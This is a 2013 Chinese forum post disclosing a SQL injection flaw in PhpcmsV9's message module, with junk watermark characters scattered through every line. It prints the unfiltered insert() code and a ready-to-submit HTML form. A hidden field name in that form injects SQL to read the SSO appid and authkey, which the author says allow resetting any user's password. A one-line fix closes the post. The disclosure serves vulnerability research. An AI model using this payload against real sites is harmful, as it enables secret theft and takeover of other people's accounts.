找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
4 C' C% R7 O# s& C0 E$ K9 a3 E% C% C  ^' i% m: q3 u
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。& u1 q" d+ F3 G/ {$ c( y* I5 R
" l/ G( Q: M. l4 V- H% P
明天再更新下一个漏洞。. F' L0 c+ E4 N1 y
详细说明:
; ?8 J+ c' T+ r: q在/phpcms9/phpcms/modules/message/index.php中有代码如下:& r0 H% i; Z" F4 s' N! x
, w* L2 t. d" I8 ?( D
$messageid = $this->message_db->insert($_POST['info'],true);. e6 k, M6 y% Q3 P& }$ y4 Y2 p

1 w8 C. J+ m$ G8 a4 ?" i: _$ P' }9 j9 B$ G* m5 u% t9 x. s
insert方法是key value的,代码如下:4 {" w. O' Y% _! V/ M

3 L( ~' r1 }, t6 B* V4 k2 l- D! |public function insert($data, $table, $return_insert_id = false, $replace = false) {
( a1 y9 n3 g0 |- W' a                if(!is_array( $data ) || $table == '' || count($data) == 0) {4 w5 z4 Z1 f" c+ L/ R5 d# e+ O
                        return false;3 G, v" m! g8 s9 a5 I, q
                }1 f9 [9 Q1 C6 R) b/ Z
               
" x( x% w/ n+ N7 v- W                $fielddata = array_keys($data);+ k0 U: e# G9 H$ u" X. y+ ^* i9 [  u
                $valuedata = array_values($data);
3 }- T, s* F6 ?6 q2 z' G                array_walk($fielddata, array($this, 'add_special_char'));. ]5 u- r& T& e. T, _2 E( ^
                array_walk($valuedata, array($this, 'escape_string'));
% @9 L8 D* [! |- B% j               
; G! j0 r: Q: r9 b                $field = implode (',', $fielddata);! H: P4 G+ X% n/ e+ g1 \8 I
                $value = implode (',', $valuedata);0 b5 T5 E: c$ [4 E
- w5 k) s# ?' ]. Q$ z0 R* }
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';* W$ j% X+ ~% g8 y; G6 t3 P* }0 Q& Q
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
3 m/ S/ W2 D1 y                $return = $this->execute($sql);# C) Y8 {8 ~  i: y$ f
                return $return_insert_id ? $this->insert_id() : $return;9 ^  R" X( J  X6 t% F5 V
        }! u5 H& L- I$ R& D2 G- O6 \

. B% f: v! \! l* m1 j" f
7 R2 r' a0 \- ?  _7 |- G" u% v嗯,很遗憾的是
( |, T# u8 A) e) q( O& d( _  ^" c% K
array_walk($fielddata, array($this, 'add_special_char'));3 \7 d3 d  g) L3 w, g+ B

  N' S( |6 b1 O  z  H
  D3 I$ t+ H2 v6 G4 \中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。$ P8 w( H9 l5 o& X' F9 x$ a# S- V  W

& w6 M# t+ l0 A6 A, k0 y) r到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
0 m8 P8 ?, C0 P
9 d; m& C0 L4 V& a7 ~- c% K漏洞证明:  i& E+ ]6 @  F, ?) f! z* D! c
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
* C+ q5 |. T' {) A, l1 f( k
! n: @! V  v* Y! B; t
4 I- h: z% h  v表单如下:用户名什么的得自己改一改。
+ [# ]$ W( W. ~$ Z5 G8 h# o1 F<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">6 C& f3 P5 B4 q" z. F$ V+ \+ l
<table width="100%" cellspacing="0" class="table_form">( I1 D. q$ e" W; J& _: a
<tr>
' `2 p! w1 a' e: e<th>标 题:</th>
2 g4 _- u/ S0 ]1 j* r) C<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
% d. I0 n$ c1 @" g3 j</tr>
/ i  u) {; A- H0 Q<tr>( h* p3 z0 m9 `$ d, F
<th>内 容:</th># v$ |7 o* {( R" A7 o7 L9 v
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
! `: S) N( X; d0 t2 p- L</tr>
, f" L6 ~8 f& Y" `8 q; N<input type="hidden" name="info[replyid]" value="2" /> / q; u  Q/ \7 h% f, l
<input type="hidden" name="info[send_to_id]" value="cc" />
9 m2 v6 m1 w2 W<input type="hidden" name="info[send_from_id]" value="hh">8 s2 d0 {  j4 Q
<!-- 漏洞的利用重点在这里开始 -->
3 }3 O! {: a- G7 `: w<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> " m1 M/ B* t6 e& E+ s( ~7 q! n
<!-- 漏洞的利用重点在这里结束 --># \$ M+ M- ~: Y8 v
<tr>
) T3 |9 o; d* q<th>验证码:</th>
& r  @% V4 H% t, K! y, O) T" K3 \# M<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>/ `5 p! X- K1 g6 ~" S
</tr>4 z; `; r% `3 v4 i6 ?' |
<tr>
+ W1 ~* `6 x6 U/ t+ A* f<td></td>
, s5 q- T; m0 u) b<td colspan="2"><label>
7 D5 m& b( F' m0 n1 s<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
. d# X9 D& F# P5 W2 S/ A</label></td>
. w8 v. s  r# ^" _</tr>
* ~% B6 I6 s; K9 @</table>9 v1 p' A3 J, s2 l7 F( D
</form>8 K$ {! M* n7 X, {/ J
在add_special_char函数内对key做过滤就可以了。1 p: R. m( O6 P: J0 T% A# p6 \

/ h+ S* E- F. I* ?/ ~) a" C2 P3 g5 c6 `- a8 _

+ e- h8 Q$ ?/ n% I& d/ N1 H% Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表